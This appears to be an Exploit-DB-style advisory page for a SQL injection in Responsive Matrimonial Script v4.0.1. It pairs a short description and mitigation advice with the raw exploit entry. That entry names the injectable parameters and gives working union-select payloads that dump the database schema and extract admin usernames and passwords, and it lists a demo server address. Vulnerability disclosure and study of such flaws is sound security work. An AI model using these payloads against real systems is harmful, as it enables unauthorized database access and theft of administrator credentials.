Responsive Matrimonial Script v4.0.1 - SQL Injection

vendor:

Responsive Matrimonial

by:

Ihsan Sencan

8,8

CVSS

HIGH

SQL Injection

CWE

Product Name: Responsive Matrimonial

Affected Version From: 4.0.1

Affected Version To: 4.0.1

Patch Exists: NO

Related CWE: N/A

CPE: a:phpscriptsmall:responsive_matrimonial:4.0.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Win7 x64, Kali Linux x64

2017

Responsive Matrimonial Script v4.0.1 – SQL Injection

A SQL injection vulnerability exists in Responsive Matrimonial Script v4.0.1. An attacker can send malicious SQL queries to the application which can be used to access or modify the application's data. The vulnerability is due to the application not properly sanitizing user-supplied input before using it in an SQL query. An attacker can exploit this vulnerability to gain access to unauthorized data or to modify existing data within the application's database.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in a way that would allow an attacker to access or modify data. Parameterized queries should be used to ensure that user-supplied input is treated as a literal value rather than as executable code.

Source

Exploit-DB raw data:

# # # # # 
# Exploit Title: Responsive Matrimonial Script v4.0.1 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/responsive-matrimonial/
# Demo: http://74.124.215.220/~responsivematri/
# Version: 4.0.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/success_story.php?detail=[SQL]
# http://localhost/[PATH]/search-results.php?gender=[SQL]Male&age_from=[SQL]&age_to=[SQL]&marital=[SQL]&religion=[SQL]&caste=[SQL]&mothertongue=[SQL]&country=[SQL]&education=[SQL]&Submit=search
# For example;
# -3'+/*!50000union*/+select+1,2,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,4,5,6,7,8,9,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),11,12,13,14,15,16,17,18,19--+-
# adminlogin :admin_id
# adminlogin :admin_username
# adminlogin :admin_password
# adminlogin :admin_email
# adminlogin :admin_usertype
# -3'+/*!50000union*/+select+1,2,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,4,5,6,7,8,9,/*!50000ConCat(*/admin_username,/*!50000char*/(58),admin_password),11,12,13,14,15,16,17,18,19+from+adminlogin--+-
# Etc...
# # # # #